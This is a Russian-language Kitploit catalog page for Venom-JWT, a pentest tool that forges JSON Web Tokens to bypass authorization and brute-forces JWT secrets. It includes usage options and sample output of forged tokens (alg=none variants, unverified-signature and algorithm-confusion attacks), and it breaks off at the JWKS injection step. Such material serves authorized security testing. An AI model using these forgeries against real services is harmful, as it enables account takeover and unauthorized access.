Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Venom-JWT — Инструмент для проверки уязвимостей/взлома ключей, разработанный для пентеста JWT. Генерирует результаты для FUZZ на основе CVE-2015-9235/пустого ключа/атаки с непроверенной подписью/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042. Также можно использовать словарный/символьный перебор (включая JJWT) для взлома (JWT Crack). | Kitploit
Инструменты/GitHubGitHub/z-bool/venom-jwt
Взлом паролейАнализ уязвимостейЭксплуатацияВеб-безопасностьФаззингТестирование на Проникновение
GitHubz-bool/venom-jwt

Venom-JWT

Репозиторий
28910131 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

Инструмент для проверки уязвимостей/взлома ключей, разработанный для пентеста JWT. Генерирует результаты для FUZZ на основе CVE-2015-9235/пустого ключа/атаки с непроверенной подписью/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042. Также можно использовать словарный/символьный перебор (включая JJWT) для взлома (JWT Crack).

Поделиться

Venom-JWT Инструмент пентеста JWT — тестирование на уязвимости JWT и брутфорс секретов

Торжественное заявление: технологии, идеи и инструменты, описанные в документе, предназначены только для учебного обмена в целях безопасности. Никто не может использовать их в незаконных целях или для извлечения прибыли. В противном случае ответственность лежит на самом пользователе .

Инструмент проверки уязвимостей и брутфорса секретов, разработанный для пентеста JWT. Генерирует результаты для FUZZ на основе CVE-2015-9235 / атака с непроверенной подписью / CVE-2016-10555 / CVE-2018-0114 / CVE-2020-28042. Также возможен брутфорс с использованием словаря или символьного перебора.

Описание инструмента · Инструкция по использованию · Примечания · Техническое общение

Описание инструмента

Предыстория создания инструмента:

При проведении пентеста проектов компании, особенно в проектах с разделением frontend/backend, часто встречается JWT как токен для проверки прав доступа. Обычно можно использовать jwt-tool и другие инструменты, но они не всегда решают задачу «в один шаг». Поэтому я разработал на Go вспомогательный инструмент для пентеста JWT, который помогает тестировать обход авторизации.

Для каких сценариев подходит инструмент:

  • Аутентификация на основе JWT.
  • Проверка наличия уязвимостей n-day (которые можно эксплуатировать без знания секрета) путём вставки сгенерированного изменённого JWT в Repeater.
  • Если n-day отсутствуют, брутфорс секрета JWT.

В чём преимущества инструмента:

  • Два режима работы: интерактивный с подсказками / с указанием параметров командной строки.
  • Учитывает большинство существующих уязвимостей JWT.
  • Постоянное обслуживание на основе Issues (вы знаете, если вы тестируете и находите проблемы, я буду оптимизировать — всё будет отлично).

Инструкция по использованию

# Сборка
go mod tidy 
cd cmd
go build.

# Запуск из командной строки
.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
  -df string
        Использовать ли payload из файла. По умолчанию пусто — использовать встроенный словарь ролей (режим привязки 2). Если не пусто — режим привязки 3.
  -em int
        Режим шифрования секрета: NONE/MD5/16-символов MD5/BASE64 (по умолчанию ALL=>0, NONE=>1, MD5=>2, 16-символов MD5=>3, BASE64=>4)
  -fs string
        Словарь брутфорса по умолчанию, можно изменить по своему усмотрению (используется с -fz для указания длины) (default "abcdefghijklmnopqrstuvwxyz0123456789")
  -fz int
        Максимальная длина символов для брутфорса (если нужна точная длина -fz)
  -jbc string
        Изменяемый body JWT
  -jm int
        Режим 1: (секрет неизвестен) модификация Payload для теста обхода авторизации. Режим 2: (сначала режим 1) PayloadFuzz обход. Режим 3: брутфорс секрета по текстовому словарю. Режим 4: брутфорс секрета по символам (если нужна длина -fz). Режим 5: проверка секрета JWT. (default 1)
  -jwt.txt string
        Строка JWT
  -mz int
        Минимальная длина символов для брутфорса (если нужна минимальная длина -mz). Значение по умолчанию 1 (default 1)
  -pem string
        Путь к открытому ключу PEM (лучше абсолютный путь)
  -pt int
        Выбор режима: 0 — выполнить всё по умолчанию, 1 — изменить alg на none (CVE-2015-2951), 2 — обход из-за непроверенной подписи, 3 — изменить асимметричный алгоритм на симметричный (CVE-2016-10555), 4 — инъекция открытого ключа JWKS — подделка ключа (CVE-2018-0114), 5 — пустая подпись (CVE-2020-28042)
  -s string
        Известный секрет, по умолчанию пусто.
        
# Интерактивный запуск
.\cmd.exe
? 【Предварительный выбор】 Выберите режим для тестирования обхода авторизации при неизвестном секрете:
[·]  [Use arrows to move, type to filter]
> Режим 1: (секрет неизвестен) модификация Payload тест обхода
  Режим 2: (сначала режим 1) PayloadFuzz тест обхода
  Режим 3: брутфорс секрета по текстовому словарю
  Режим 4: брутфорс секрета по символам
  Режим 5: проверка секрета JWT

? Введите вашу строку JWT:
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]JWT Header: {"alg":"HS256","typ":"JWT"}
JWT Payload: {"iss":"admin","iat":1701375177,"exp":1701382377,"nbf":1701375177,"sub":"user","jti":"a01707f44f7df8b5cbe5e129a0f5c311"}
JWT Signature: 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8

? 【Режим 1】【Режим 2】 При неизвестном секрете выберите конкретный режим тестирования обхода:
[·]  [Use arrows to move, type to filter]
> Режим 0: выполнить всё по умолчанию
  Режим 1: изменить alg на none (CVE-2015-2951)
  Режим 2: обход из-за непроверенной подписи
  Режим 3: изменить асимметричный алгоритм на симметричный (CVE-2016-10555)
  Режим 4: инъекция открытого ключа JWKS — подделка ключа (CVE-2018-0114)
  Режим 5: пустая подпись (CVE-2020-28042)

? В режимах 【Режим 1】【Режим 2】【Режим 5】 необходимо изменить часть Payload (вторую часть JWT) — строку JSON для тестирования обхода. Скопируйте Payload из предыдущего шага, измените и введите здесь:
【Режим 1】【Режим 5】 Пример: {"username":"admin","role":"admin"}
【Режим 2】 Пример: {"usernmae":"admin","role":"FUZZ"}
Обратите внимание: в 【Режим 2】 FUZZ заменяет позицию в словаре. Если не изменять, можно просто нажать Enter — будет использован исходный Payload.

? Введите путь к файлу открытого ключа PEM (лучше абсолютный путь)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem

==============Тест обхода авторизации без знания секрета (модификация Payload)===========

① В большинстве случаев, когда alg установлен в HS256, можно изменить JWT на none (CVE-2015-9235)

[+]【alg=none】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg=None】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg=NoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg=NONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② Атака с непроверенной подписью: изменение Payload без проверки

[+]【Атака недействительной подписью】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
③ Атака: изменение асимметричного алгоритма на симметричный (CVE-2016-10555)

[+] 【Изменение асимметричного алгоритма на симметричный】:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiIiLCJraWQiOiIiLCJ1c2UiOiIiLCJuIjoiIiwiZSI6IiJ9fQ.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.h3V6ZHHJ3tt080xFLsA4U1_Z0VT8wkLQD9I2miqIeE0
④ Инъекция открытого ключа JWKS — подделка ключа (CVE-2018-0114)
Скачать инструмент